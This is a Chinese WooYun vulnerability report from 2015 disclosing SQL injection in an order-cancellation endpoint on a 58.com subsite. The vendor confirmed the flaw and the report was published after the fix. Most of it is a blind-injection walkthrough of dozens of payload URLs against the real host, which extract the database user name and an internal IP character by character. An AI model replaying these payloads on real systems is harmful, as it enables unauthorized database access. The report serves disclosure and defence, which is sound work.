当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0134916

漏洞标题：58同城某分站存在SQL注入

相关厂商：58同城

漏洞作者： getshell1993

提交时间：2015-08-18 07:55

修复时间：2015-10-03 11:36

公开时间：2015-10-03 11:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-19： 厂商已经确认，细节仅向厂商公开
2015-08-29： 细节向核心白帽子及相关领域专家公开
2015-09-08： 细节向普通白帽子公开
2015-09-18： 细节向实习白帽子公开
2015-10-03： 细节向公众公开

简要描述：

一步两步，是魔鬼的步伐，摩擦摩擦~

详细说明：

注入点
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560
工具跑不出来 只能手工了
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 and (select length(user())=28)
查询一下当前用户长度 28位

漏洞证明：

http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),1,1)))>100 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),1,1)))>101
e
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),2,1)))>108 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),2,1)))>109
m
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),3,1)))>98 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),3,1)))>99
c
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),4,1)))>107 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),4,1)))>108
l
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),5,1)))>110 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),5,1)))>111
o
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),6,1)))>115 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),6,1)))>116
t
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),7,1)))>115 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),7,1)))>116
t
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),8,1)))>100 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),8,1)))>101
e
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),9,1)))>113 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),9,1)))>114
r
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),10,1)))>120 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),10,1)))>121
y
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),11,1)))>94 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),11,1)))>95
_

http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),12,1)))>113 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),12,1)))>114
r
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),13,1)))>118 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),13,1)))>119
w
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),14,1)))>94 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),14,1)))>95
_
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),15,1)))>99 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),15,1)))>100
d
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),16,1)))>105 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),16,1)))>106
j
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),17,1)))>63 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),17,1)))>64
@
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),18,1)))>48 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),18,1)))>49
1
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),19,1)))>47 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),19,1)))>48
0
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),20,1)))>45 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),20,1)))>46
.
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),21,1)))>56 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),21,1)))>57
9
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),22,1)))>45 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),22,1)))>46
.
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),23,1)))>49 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),23,1)))>50
2
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),24,1)))>47 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),24,1)))>48
0
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),25,1)))>45 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),25,1)))>46
.
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),26,1)))>48 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),26,1)))>49
1
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),27,1)))>49 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),27,1)))>50
2
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),28,1)))>48 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),28,1)))>49
1
用户 emclottery_rw_dj@10.9.20.121

修复方案：

过滤

版权声明：转载请注明来源 getshell1993@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-08-19 11:35

厂商回复：

确认漏洞存在，感谢提交。洞主很有耐心，很赞！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-18 08:46 | 海琪花 ( 路人 | Rank:0 漏洞数:1 | 卖海产 。。。 不买勿扰)

    mc

  2. 2015-08-18 09:07 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    M+*

  3. 2015-08-18 09:17 | sqlfeng ( 普通白帽子 | Rank:109 漏洞数:22 | 谁送我HHKB,我就嫁给她！)

    mc